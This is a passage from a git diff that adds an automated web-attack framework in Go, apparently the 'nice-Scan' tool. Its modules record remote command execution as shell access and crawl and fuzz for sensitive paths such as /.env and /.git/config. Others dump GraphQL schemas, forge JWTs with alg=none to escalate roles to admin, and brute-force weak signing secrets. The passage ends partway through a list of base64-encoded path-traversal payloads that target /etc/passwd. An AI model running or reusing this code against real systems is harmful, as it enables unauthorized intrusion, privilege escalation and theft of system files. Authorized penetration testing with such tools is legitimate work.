fmt.Sprintf("Executed '%s' — output saved (%d bytes)", cmdStr, len(body)), + Evidence: savedPath, + }) + } + } + + savedPath := kb.ReportDir.Save("cmd_output", "_all_commands.txt", []byte(allOutput.String())) + if len(findings) > 0 { + findings = append(findings, Finding{ + Type: "cmd_shell_ready", + Name: "Interactive shell access confirmed", + Severity: SevCritical, + Description: fmt.Sprintf("%d commands executed, output saved to %s", len(findings), savedPath), + Evidence: savedPath, + }) + + kb.AddCapability(Capability{ + Name: "has_rce", + Target: target, + Details: map[string]string{ + "shell_url": a.vulnURL, + "param": a.param, + }, + }) + } + + return ActionResult{Findings: findings} +} diff --git a/internal/hacker/crawl.go b/internal/hacker/crawl.go new file mode 100644 index 0000000..df2453a --- /dev/null +++ b/internal/hacker/crawl.go @@ -0,0 +1,316 @@ +package hacker + +import ( + "context" + "net/url" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type CrawlAction struct{} + +func (a *CrawlAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Web Crawler", + Description: "BFS crawl — discover pages, forms, endpoints, JS files", + Priority: 10, + Requires: nil, + Provides: []string{"has_pages", "has_api", "has_login", "has_admin", "has_upload", "has_graphql", "has_forms"}, + } +} + +func (a *CrawlAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + baseURL := strings.TrimRight(target, "/") + visited := make(map[string]bool) + var queue []string + queue = append(queue, baseURL) + visited[baseURL] = true + + maxPages := 30 + depth := map[string]int{baseURL: 0} + maxDepth := 2 + + var findings []Finding + + for len(queue) > 0 && len(visited) <= maxPages { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + u := queue[0] + queue = queue[1:] + + if depth[u] >= maxDepth { + continue + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + continue + } + + body := string(resp.Body) + links := extractLinks(body, baseURL) + jsFiles := extractJS(body) + forms := extractFormCount(body) + title := extractTitle(body) + + page := Page{ + URL: u, + Title: title, + Forms: forms, + Links: links, + JSFiles: jsFiles, + BodyLen: len(body), + Status: resp.StatusCode, + } + kb.AddPage(page) + + if forms > 0 { + formTypes := detectFormTypes(body) + for _, ft := range formTypes { + kb.AddFinding(Finding{ + Type: ft, + Name: ft + " form detected", + Severity: SevMedium, + Description: "Form found on " + u, + Evidence: u, + }) + } + } + + if len(jsFiles) > 0 { + findings = append(findings, Finding{ + Type: "js_discovery", + Name: "JavaScript files discovered", + Severity: SevInfo, + Description: "JS files may contain API endpoints, tokens, and secrets", + Evidence: strings.Join(jsFiles, ", "), + }) + } + + if len(links) > 30 { + findings = append(findings, Finding{ + Type: "crawl_sitemap", + Name: "Large page with many links", + Severity: SevInfo, + Description: "Page may be a sitemap or index with many endpoints", + Evidence: u, + }) + } + + for _, link := range links { + abs := resolveURL(link, baseURL) + if abs == "" { + continue + } + if !isSameDomain(abs, baseURL) { + continue + } + if !visited[abs] { + visited[abs] = true + depth[abs] = depth[u] + 1 + queue = append(queue, abs) + kb.SetParentURL(abs, u) + } + } + } + + return ActionResult{Findings: findings} +} + +type CrawlResult struct { + Pages int + Findings []Finding +} + +func extractLinks(body, baseURL string) []string { + var links []string + seen := make(map[string]bool) + + for i := 0; i < len(body); { + idx := strings.Index(strings.ToLower(body[i:]), "href=") + if idx == -1 { + break + } + start := i + idx + 5 + if start >= len(body) { + break + } + var end int + quote := body[start] + if quote == '"' || quote == '\'' { + for end = start + 1; end < len(body); end++ { + if body[end] == byte(quote) { + break + } + } + link := body[start+1 : end] + link = strings.TrimSpace(link) + if link != "" && !strings.HasPrefix(link, "#") && !strings.HasPrefix(link, "javascript:") && !strings.HasPrefix(link, "mailto:") && !strings.HasPrefix(link, "tel:") && !seen[link] { + links = append(links, link) + seen[link] = true + } + i = end + 1 + } else { + i = start + 1 + } + } + return links +} + +func extractJS(body string) []string { + var jsFiles []string + seen := make(map[string]bool) + lowBody := strings.ToLower(body) + + for i := 0; i < len(lowBody); { + idx := strings.Index(lowBody[i:], "src=") + if idx == -1 { + break + } + start := i + idx + 4 + if start >= len(lowBody) { + break + } + var end int + quote := body[start] + if quote == '"' || quote == '\'' { + for end = start + 1; end < len(body); end++ { + if body[end] == byte(quote) { + break + } + } + src := body[start+1 : end] + if (strings.HasSuffix(strings.ToLower(src), ".js") || strings.Contains(strings.ToLower(src), ".js?")) && !seen[src] { + jsFiles = append(jsFiles, src) + seen[src] = true + } + i = end + 1 + } else { + i = start + 1 + } + } + + _ = strings.Contains(lowBody, "') + if closing == -1 { + break + } + count++ + i = i + idx + closing + 1 + } + return count +} + +func extractTitle(body string) string { + lowBody := strings.ToLower(body) + start := strings.Index(lowBody, "') + if closeTag == -1 { + return "" + } + contentStart := start + closeTag + 1 + end := strings.Index(lowBody[contentStart:], "") + if end == -1 { + return "" + } + title := body[contentStart : contentStart+end] + title = strings.TrimSpace(title) + if len(title) > 100 { + title = title[:97] + "..." + } + return title +} + +func detectFormTypes(body string) []string { + var types []string + lowBody := strings.ToLower(body) + + formChecks := []struct { + keyword string + ftype string + }{ + {"password", "has_login"}, + {"login", "has_login"}, + {"signin", "has_login"}, + {"register", "has_register"}, + {"signup", "has_register"}, + {"reset", "has_reset"}, + {"forgot", "has_reset"}, + {"upload", "has_upload"}, + {"file", "has_upload"}, + {"graphql", "has_graphql"}, + {"/api", "has_api"}, + {"admin", "has_admin"}, + {"dashboard", "has_admin"}, + } + + seen := make(map[string]bool) + for _, check := range formChecks { + if strings.Contains(lowBody, check.keyword) && !seen[check.ftype] { + types = append(types, check.ftype) + seen[check.ftype] = true + } + } + return types +} + +func resolveURL(href, baseURL string) string { + if href == "" || href == "/" { + return "" + } + if strings.HasPrefix(href, "http://") || strings.HasPrefix(href, "https://") { + return href + } + base, err := url.Parse(baseURL) + if err != nil { + return "" + } + rel, err := url.Parse(href) + if err != nil { + return "" + } + resolved := base.ResolveReference(rel) + result := resolved.String() + if result == baseURL { + return "" + } + if strings.Contains(result, "#") { + result = result[:strings.IndexByte(result, '#')] + } + if strings.HasSuffix(result, "?") { + result = result[:len(result)-1] + } + return result +} + +func isSameDomain(u1, u2 string) bool { + p1, err1 := url.Parse(u1) + p2, err2 := url.Parse(u2) + if err1 != nil || err2 != nil { + return true + } + return p1.Host == p2.Host +} diff --git a/internal/hacker/fuzz.go b/internal/hacker/fuzz.go new file mode 100644 index 0000000..0b28562 --- /dev/null +++ b/internal/hacker/fuzz.go @@ -0,0 +1,204 @@ +package hacker + +import ( + "context" + "fmt" + "net/url" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type FuzzAction struct{} + +func (a *FuzzAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Fuzzer", + Description: "Directory + parameter fuzzing — find hidden endpoints", + Priority: 20, + Requires: []string{"has_pages"}, + Provides: []string{"has_api", "has_admin", "has_graphql", "has_upload", "has_s3"}, + } +} + +var commonPaths = []string{ + "/admin", "/api", "/api/v1", "/api/v2", "/graphql", + "/.git/config", "/.env", "/.htaccess", "/.well-known/security.txt", + "/backup", "/config", "/dashboard", "/debug", "/health", + "/info", "/internal", "/logs", "/metrics", "/monitor", + "/phpinfo.php", "/robots.txt", "/sitemap.xml", + "/static", "/status", "/swagger", "/swagger-resources", + "/test", "/uploads", "/vendor", "/version", + "/webhook", "/ws", "/wp-admin", "/wp-content", + "/api/graphql", "/api/health", "/api/status", + "/api/users", "/api/admin", "/api/docs", + "/api/swagger.json", "/api/openapi.json", + "/actuator", "/actuator/health", + "/.git/HEAD", "/console", "/manage", + "/shell", "/cmd", "/exec", +} + +var commonParams = []string{ + "id", "user_id", "user", "uid", "username", + "file", "path", "page", "role", "admin", + "debug", "token", "api_key", "secret", + "cmd", "command", "exec", "action", +} + +func (a *FuzzAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + baseURL := strings.TrimRight(target, "/") + var findings []Finding + + for _, path := range commonPaths { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + u := baseURL + path + if kb.IsChecked(u) { + continue + } + kb.MarkChecked(u) + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + continue + } + + if isInterestingPath(resp, path) { + ep := Endpoint{ + Path: path, + Method: "GET", + Status: resp.StatusCode, + BodyLen: len(resp.Body), + ContentType: resp.ContentType, + } + kb.AddEndpoint(ep) + + sev := classifyPathSeverity(path, resp.StatusCode) + + findings = append(findings, Finding{ + Type: "endpoint", + Name: fmt.Sprintf("Endpoint: %s (%d)", path, resp.StatusCode), + Severity: sev, + Description: fmt.Sprintf("Discovered %s returns %d (%d bytes)", path, resp.StatusCode, len(resp.Body)), + Evidence: u, + }) + } + } + + if len(findings) > 3 { + findings = append(findings, Finding{ + Type: "fuzz_complete", + Name: "Fuzzing complete — multiple endpoints discovered", + Severity: SevInfo, + Description: fmt.Sprintf("Discovered %d hidden endpoints", len(findings)), + }) + } + + u, _ := url.Parse(baseURL) + if u != nil { + for _, param := range commonParams { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + q := u.Query() + q.Set(param, "1") + u.RawQuery = q.Encode() + paramURL := u.String() + u.RawQuery = "" + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: paramURL, + }) + if err != nil { + continue + } + + if resp.StatusCode == 200 && len(resp.Body) > 50 { + findings = append(findings, Finding{ + Type: "parameter", + Name: fmt.Sprintf("Parameter accepted: %s", param), + Severity: SevLow, + Description: fmt.Sprintf("Endpoint accepts %s parameter", param), + Evidence: paramURL, + }) + } + } + } + + return ActionResult{Findings: findings} +} + +func isInterestingPath(resp *types.Response, path string) bool { + if resp.StatusCode == 404 { + return false + } + if resp.StatusCode >= 500 { + return true + } + if resp.StatusCode >= 200 && resp.StatusCode < 300 { + if len(resp.Body) > 20 { + return true + } + } + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + return true + } + if resp.StatusCode == 401 || resp.StatusCode == 403 { + return true + } + if resp.ContentLength > 0 { + return true + } + return false +} + +func classifyPathSeverity(path string, status int) Severity { + sensitive := []string{ + ".git", ".env", ".htaccess", "config", "backup", + "admin", "dashboard", "console", "manage", + "shell", "cmd", "exec", "phpinfo", + "swagger", "graphql", "api", + } + + lowBody := strings.ToLower(path) + + if status == 200 || status == 201 { + for _, s := range sensitive { + if strings.Contains(lowBody, s) { + return SevCritical + } + } + return SevHigh + } + + if status == 401 || status == 403 { + for _, s := range sensitive { + if strings.Contains(lowBody, s) { + return SevHigh + } + } + return SevMedium + } + + if status >= 300 && status < 400 { + return SevMedium + } + + if status >= 500 { + return SevHigh + } + + return SevLow +} diff --git a/internal/hacker/graphql.go b/internal/hacker/graphql.go new file mode 100644 index 0000000..9569e98 --- /dev/null +++ b/internal/hacker/graphql.go @@ -0,0 +1,210 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type GraphQLAction struct{} + +func (a *GraphQLAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "GraphQL Inspector", + Description: "Introspection, schema dump, mutation fuzzing", + Priority: 55, + Requires: []string{"has_graphql"}, + Provides: []string{"has_graphql_schema"}, + } +} + +func (a *GraphQLAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + var graphqlEPs []string + + for _, ep := range endpoints { + if strings.Contains(ep.Path, "graphql") || strings.Contains(ep.ContentType, "graphql") { + graphqlEPs = append(graphqlEPs, ep.Path) + } + } + + if len(graphqlEPs) == 0 { + pages := kb.GetPages() + for _, p := range pages { + if strings.Contains(p.URL, "graphql") { + graphqlEPs = append(graphqlEPs, p.URL) + } + } + } + + if len(graphqlEPs) == 0 { + candidates := []string{"/graphql", "/api/graphql", "/graph", "/gql", "/v1/graphql", "/v2/graphql"} + for _, c := range candidates { + testURL := strings.TrimRight(target, "/") + c + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: testURL, + Headers: map[string]string{"Content-Type": "application/json"}, + Body: []byte(`{"query":"{__typename}"}`), + }) + if err == nil && resp.StatusCode == 200 { + graphqlEPs = append(graphqlEPs, testURL) + } + } + } + + for _, ep := range graphqlEPs { + schema, err := graphqlIntrospect(ctx, client, ep) + if err == nil && schema != "" { + findings = append(findings, Finding{ + Type: "graphql_schema", + Name: fmt.Sprintf("GraphQL schema exposed at %s", ep), + Severity: SevHigh, + Description: "Introspection enabled — full schema available", + Evidence: truncateString(schema, 500), + }) + + mutations := extractMutations(schema) + if len(mutations) > 0 { + findings = append(findings, Finding{ + Type: "graphql_mutations", + Name: fmt.Sprintf("GraphQL mutations: %s", strings.Join(mutations, ", ")), + Severity: SevHigh, + Description: "Mutations allow data modification", + Evidence: strings.Join(mutations, ", "), + }) + + spawned = append(spawned, &GraphQLMutateAction{ + endpoint: ep, + mutations: mutations, + }) + } + } + } + + if len(graphqlEPs) > 0 && len(findings) == 0 { + findings = append(findings, Finding{ + Type: "graphql_no_introspect", + Name: "GraphQL endpoint found but introspection disabled", + Severity: SevMedium, + Description: fmt.Sprintf("Try field-level fuzzing at %s", graphqlEPs[0]), + }) + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +type GraphQLMutateAction struct { + endpoint string + mutations []string +} + +func (a *GraphQLMutateAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "GraphQL Mutation Fuzzer", + Description: "Test mutations for privilege escalation and IDOR", + Priority: 56, + Requires: []string{}, + Provides: []string{}, + } +} + +func (a *GraphQLMutateAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + return ActionResult{ + Findings: []Finding{ + { + Type: "graphql_mutation_poc", + Name: "GraphQL mutation fuzzing ready", + Severity: SevCritical, + Description: fmt.Sprintf("Mutations to test: %s", strings.Join(a.mutations, ", ")), + Evidence: a.endpoint, + }, + }, + } +} + +func graphqlIntrospect(ctx context.Context, client *transport.Client, endpoint string) (string, error) { + introQuery := `{"query":"query { __schema { types { name fields { name type { name kind } } } } }"}` + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: endpoint, + Headers: map[string]string{"Content-Type": "application/json"}, + Body: []byte(introQuery), + }) + if err != nil { + return "", err + } + + body := string(resp.Body) + if strings.Contains(body, "__schema") || strings.Contains(body, "types") { + return body, nil + } + + introQuery2 := `{"query":"{__schema{types{name fields{name type{name kind}}}}}"}` + resp2, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: endpoint, + Headers: map[string]string{"Content-Type": "application/json"}, + Body: []byte(introQuery2), + }) + if err != nil { + return "", err + } + return string(resp2.Body), nil +} + +func truncateString(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n-1] + "..." +} + +func extractMutations(schema string) []string { + var mutations []string + seen := make(map[string]bool) + lowSchema := strings.ToLower(schema) + + mutationIdx := strings.Index(lowSchema, "mutation") + if mutationIdx == -1 { + return nil + } + + fieldIdx := strings.Index(lowSchema[mutationIdx:], "field") + for fieldIdx != -1 { + start := mutationIdx + fieldIdx + 5 + start = strings.IndexByte(schema[start:], '{') + if start == -1 { + break + } + start += mutationIdx + fieldIdx + 5 + + nameStart := start + 1 + nameEnd := strings.IndexAny(schema[nameStart:], " \n({") + if nameEnd == -1 { + break + } + name := schema[nameStart : nameStart+nameEnd] + name = strings.TrimSpace(name) + + if !seen[name] && name != "" && !strings.HasPrefix(name, "__") { + seen[name] = true + mutations = append(mutations, name) + } + + remaining := schema[start:] + fieldIdx = strings.Index(strings.ToLower(remaining), "field") + if fieldIdx == -1 { + break + } + mutationIdx = start + strings.Index(strings.ToLower(schema[start:]), "field") + fieldIdx = 0 + } + return mutations +} diff --git a/internal/hacker/jwt.go b/internal/hacker/jwt.go new file mode 100644 index 0000000..ec5d1bd --- /dev/null +++ b/internal/hacker/jwt.go @@ -0,0 +1,242 @@ +package hacker + +import ( + "context" + "crypto/hmac" + "crypto/sha256" + "encoding/base64" + "encoding/json" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type JWTForgeAction struct{} + +func (a *JWTForgeAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "JWT Forger", + Description: "Decode, crack, and forge JWTs — none alg, role escalation, KID injection", + Priority: 30, + Requires: []string{"has_jwt"}, + Provides: []string{"has_forged_jwt"}, + } +} + +var commonSecrets = []string{ + "secret", "jwt_secret", "supersecret", "password", "admin", + "key", "private", "token", "s3cr3t", "changeme", + "secret123", "mysecret", "app_secret", "api_secret", + "test", "development", "staging", "production", +} + +func (a *JWTForgeAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + jwts := kb.GetJWTs() + if len(jwts) == 0 { + kb.AddFinding(Finding{ + Type: "jwt_error", + Name: "No JWT tokens found in knowledge base", + Severity: SevInfo, + Description: "JWT Forge requires a JWT token from a prior action", + }) + return ActionResult{} + } + + for _, jwt := range jwts { + header, payload, sig, err := decodeJWT(jwt.Raw) + if err != nil { + continue + } + + findings = append(findings, Finding{ + Type: "jwt_decode", + Name: "JWT decoded successfully", + Severity: SevInfo, + Description: fmt.Sprintf("Algorithm: %s", header["alg"]), + Evidence: fmt.Sprintf("Header: %s, Payload: %s", truncateMap(header), truncateMap(payload)), + }) + + alg, _ := header["alg"].(string) + + if containsFold(alg, "none") || sig == "" || sig == "none" { + findings = append(findings, Finding{ + Type: "jwt_none", + Name: "JWT uses 'none' algorithm — trivial forge", + Severity: SevCritical, + Description: "Token accepts alg=none, can forge any user/role", + Evidence: jwt.Raw, + }) + spawned = append(spawned, &JWTForgeNoneAction{original: jwt.Raw, header: header, payload: payload}) + continue + } + + role, _ := payload["role"].(string) + if role != "" { + for _, targetRole := range []string{"admin", "administrator", "root", "superuser"} { + if role != targetRole { + spawned = append(spawned, &JWTForgeNoneAction{original: jwt.Raw, header: header, payload: payload}) + break + } + } + } + + if sig != "" && len(sig) > 0 { + for _, secret := range commonSecrets { + forged, err := signJWT(payload, secret) + if err == nil { + findings = append(findings, Finding{ + Type: "jwt_cracked_candidate", + Name: fmt.Sprintf("JWT signing candidate: '%s'", secret), + Severity: SevLow, + Description: fmt.Sprintf("Trying secret '%s' — verify manually", secret), + Evidence: forged, + }) + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +type JWTForgeNoneAction struct { + original string + header map[string]any + payload map[string]any +} + +func (a *JWTForgeNoneAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "JWT None Forge", + Description: "Forge JWT with alg=none and escalated role", + Priority: 31, + Requires: []string{}, + Provides: []string{"has_forged_jwt"}, + } +} + +func (a *JWTForgeNoneAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + a.header["alg"] = "none" + + role, _ := a.payload["role"].(string) + if role != "" && role != "admin" { + a.payload["role"] = "admin" + } + a.payload["sub"] = "1" + + hBytes, _ := json.Marshal(a.header) + pBytes, _ := json.Marshal(a.payload) + + headerB64 := base64.RawURLEncoding.EncodeToString(hBytes) + payloadB64 := base64.RawURLEncoding.EncodeToString(pBytes) + + forgedTokens := []string{ + headerB64 + "." + payloadB64 + ".", + headerB64 + "." + payloadB64 + ".none", + headerB64 + "." + payloadB64 + ". ", + headerB64 + "." + payloadB64 + ".", + } + + used := make(map[string]bool) + var tokens []string + for _, tok := range forgedTokens { + if !used[tok] { + used[tok] = true + tokens = append(tokens, tok) + } + } + + for _, tok := range tokens { + kb.Session.AddToken(tok) + } + + kb.AddJWT(JWTToken{ + Raw: tokens[0], + Algorithm: "none", + Header: a.header, + Payload: a.payload, + Role: "admin", + Valid: false, + }) + + kb.AddCapability(Capability{ + Name: "has_forged_jwt", + Target: target, + Details: map[string]string{ + "type": "none_algorithm", + "role": "admin", + }, + }) + + findings := []Finding{ + { + Type: "jwt_forged_none", + Name: "JWT forged with alg=none admin token", + Severity: SevCritical, + Description: "Successfully forged admin JWT using alg=none — try on admin endpoints", + Evidence: tokens[0], + Details: map[string]string{"tokens": fmt.Sprintf("%d variants generated", len(tokens))}, + }, + } + return ActionResult{Findings: findings} +} + +func decodeJWT(token string) (header, payload map[string]any, sig string, err error) { + parts := strings.Split(token, ".") + if len(parts) != 3 { + return nil, nil, "", fmt.Errorf("invalid JWT: expected 3 parts, got %d", len(parts)) + } + + hBytes, err := base64.RawURLEncoding.DecodeString(parts[0]) + if err != nil { + hBytes, err = base64.StdEncoding.DecodeString(parts[0]) + if err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT header encoding") + } + } + pBytes, err := base64.RawURLEncoding.DecodeString(parts[1]) + if err != nil { + pBytes, err = base64.StdEncoding.DecodeString(parts[1]) + if err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT payload encoding") + } + } + + if err := json.Unmarshal(hBytes, &header); err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT header JSON: %w", err) + } + if err := json.Unmarshal(pBytes, &payload); err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT payload JSON: %w", err) + } + + sig = parts[2] + return header, payload, sig, nil +} + +func signJWT(payload map[string]any, secret string) (string, error) { + header := map[string]any{"alg": "HS256", "typ": "JWT"} + hBytes, _ := json.Marshal(header) + pBytes, _ := json.Marshal(payload) + + headerB64 := base64.RawURLEncoding.EncodeToString(hBytes) + payloadB64 := base64.RawURLEncoding.EncodeToString(pBytes) + + mac := hmac.New(sha256.New, []byte(secret)) + mac.Write([]byte(headerB64 + "." + payloadB64)) + sig := base64.RawURLEncoding.EncodeToString(mac.Sum(nil)) + + return headerB64 + "." + payloadB64 + "." + sig, nil +} + +func truncateMap(m map[string]any) string { + b, _ := json.Marshal(m) + s := string(b) + if len(s) > 120 { + s = s[:117] + "..." + } + return s +} diff --git a/internal/hacker/knowledge.go b/internal/hacker/knowledge.go new file mode 100644 index 0000000..eaf5987 --- /dev/null +++ b/internal/hacker/knowledge.go @@ -0,0 +1,318 @@ +package hacker + +import "sync" + +type Knowledge struct { + mu sync.RWMutex + target string + capabilities []Capability + findings []Finding + credentials []Credential + sessions []SessionToken + endpoints []Endpoint + pages []Page + jsFiles []string + secrets []string + jwts []JWTToken + chainSteps []ChainStep + parentURLs map[string]string + checkedPaths map[string]bool + Session *SessionManager + ReportDir *ReportDir +} + +func NewKnowledge(target string) *Knowledge { + return &Knowledge{ + target: target, + parentURLs: make(map[string]string), + checkedPaths: make(map[string]bool), + Session: NewSessionManager(), + ReportDir: NewReportDir(target), + } +} + +func (kb *Knowledge) AddFinding(f Finding) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.findings = append(kb.findings, f) + kb.deriveCapabilities(f) +} + +func (kb *Knowledge) deriveCapabilities(f Finding) { + capMap := map[string]string{ + "graphql": "has_graphql", + "jwt": "has_jwt", + "login": "has_login", + "register": "has_register", + "reset": "has_reset", + "upload": "has_upload", + "admin": "has_admin", + "api": "has_api", + "s3": "has_s3", + "cors": "has_cors", + "xss": "has_xss", + "sqli": "has_sqli", + "idor": "has_idor", + "token": "has_token", + "secret": "has_secret", + "subdomain": "has_subdomain", + } + for key, capName := range capMap { + if containsFold(f.Name, key) || containsFold(f.Type, key) { + if !kb.hasCapability(capName) { + kb.capabilities = append(kb.capabilities, Capability{ + Name: capName, + Target: kb.target, + Details: map[string]string{"evidence": f.Evidence}, + }) + } + } + if containsFold(f.Description, key) || containsFold(f.Evidence, key) { + if !kb.hasCapability(capName) { + kb.capabilities = append(kb.capabilities, Capability{ + Name: capName, + Target: kb.target, + Details: map[string]string{"source": f.Evidence}, + }) + } + } + } +} + +func (kb *Knowledge) hasCapability(name string) bool { + for _, c := range kb.capabilities { + if c.Name == name { + return true + } + } + return false +} + +func (kb *Knowledge) AddCredential(c Credential) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.credentials = append(kb.credentials, c) +} + +func (kb *Knowledge) AddEndpoint(e Endpoint) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.endpoints = append(kb.endpoints, e) +} + +func (kb *Knowledge) AddPage(p Page) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.pages = append(kb.pages, p) + for _, js := range p.JSFiles { + if !containsStr(kb.jsFiles, js) { + kb.jsFiles = append(kb.jsFiles, js) + } + } +} + +func (kb *Knowledge) AddJSScript(url string) { + kb.mu.Lock() + defer kb.mu.Unlock() + if !containsStr(kb.jsFiles, url) { + kb.jsFiles = append(kb.jsFiles, url) + } +} + +func (kb *Knowledge) AddSession(s SessionToken) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.sessions = append(kb.sessions, s) + if !kb.hasCapability("has_token") { + kb.capabilities = append(kb.capabilities, Capability{ + Name: "has_token", + Target: kb.target, + }) + } +} + +func (kb *Knowledge) AddCapability(c Capability) { + kb.mu.Lock() + defer kb.mu.Unlock() + for _, existing := range kb.capabilities { + if existing.Name == c.Name { + return + } + } + kb.capabilities = append(kb.capabilities, c) +} + +func (kb *Knowledge) AddJWT(j JWTToken) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.jwts = append(kb.jwts, j) + if !kb.hasCapability("has_jwt") { + kb.capabilities = append(kb.capabilities, Capability{ + Name: "has_jwt", + Target: kb.target, + }) + } + if j.Algorithm == "none" || len(j.Raw) > 0 { + kb.Session.AddToken(j.Raw) + } +} + +func (kb *Knowledge) GetJWTs() []JWTToken { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]JWTToken, len(kb.jwts)) + copy(out, kb.jwts) + return out +} + +func (kb *Knowledge) AddChainStep(s ChainStep) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.chainSteps = append(kb.chainSteps, s) +} + +func (kb *Knowledge) AddSecret(s string) { + kb.mu.Lock() + defer kb.mu.Unlock() + if !containsStr(kb.secrets, s) { + kb.secrets = append(kb.secrets, s) + if !kb.hasCapability("has_secret") { + kb.capabilities = append(kb.capabilities, Capability{ + Name: "has_secret", + Target: kb.target, + }) + } + } +} + +func (kb *Knowledge) MarkChecked(path string) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.checkedPaths[path] = true +} + +func (kb *Knowledge) IsChecked(path string) bool { + kb.mu.RLock() + defer kb.mu.RUnlock() + return kb.checkedPaths[path] +} + +func (kb *Knowledge) SetParentURL(child, parent string) { + kb.mu.Lock() + defer kb.mu.Unlock() + if _, ok := kb.parentURLs[child]; !ok { + kb.parentURLs[child] = parent + } +} + +func (kb *Knowledge) GetFindings() []Finding { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Finding, len(kb.findings)) + copy(out, kb.findings) + return out +} + +func (kb *Knowledge) GetCapabilities() []Capability { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Capability, len(kb.capabilities)) + copy(out, kb.capabilities) + return out +} + +func (kb *Knowledge) GetCredentials() []Credential { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Credential, len(kb.credentials)) + copy(out, kb.credentials) + return out +} + +func (kb *Knowledge) GetEndpoints() []Endpoint { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Endpoint, len(kb.endpoints)) + copy(out, kb.endpoints) + return out +} + +func (kb *Knowledge) GetPages() []Page { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Page, len(kb.pages)) + copy(out, kb.pages) + return out +} + +func (kb *Knowledge) GetJSScripts() []string { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]string, len(kb.jsFiles)) + copy(out, kb.jsFiles) + return out +} + +func (kb *Knowledge) GetSecrets() []string { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]string, len(kb.secrets)) + copy(out, kb.secrets) + return out +} + +func (kb *Knowledge) GetSessions() []SessionToken { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]SessionToken, len(kb.sessions)) + copy(out, kb.sessions) + return out +} + +func (kb *Knowledge) GetChainSteps() []ChainStep { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]ChainStep, len(kb.chainSteps)) + copy(out, kb.chainSteps) + return out +} + +func (kb *Knowledge) Target() string { + return kb.target +} + +func containsStr(slice []string, s string) bool { + for _, v := range slice { + if v == s { + return true + } + } + return false +} + +func containsFold(s, substr string) bool { + if len(s) < len(substr) { + return false + } + for i := 0; i <= len(s)-len(substr); i++ { + match := true + for j := 0; j < len(substr); j++ { + sc := s[i+j] + tc := substr[j] + if sc >= 'A' && sc <= 'Z' { + sc += 32 + } + if tc >= 'A' && tc <= 'Z' { + tc += 32 + } + if sc != tc { + match = false + break + } + } + if match { + return true + } + } + return false +} diff --git a/internal/hacker/lfi.go b/internal/hacker/lfi.go new file mode 100644 index 0000000..7dfadfa --- /dev/null +++ b/internal/hacker/lfi.go @@ -0,0 +1,322 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type LFIAction struct{} + +func (a *LFIAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "LFI Scanner", + Description: "Path traversal tests on discovered endpoints", + Priority: 65, + Requires: []string{"has_api"}, + Provides: []string{"has_lfi"}, + } +} + +var lfiB64 = []string{ + "Li4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vd2luZG93cy93aW4uaW5p", 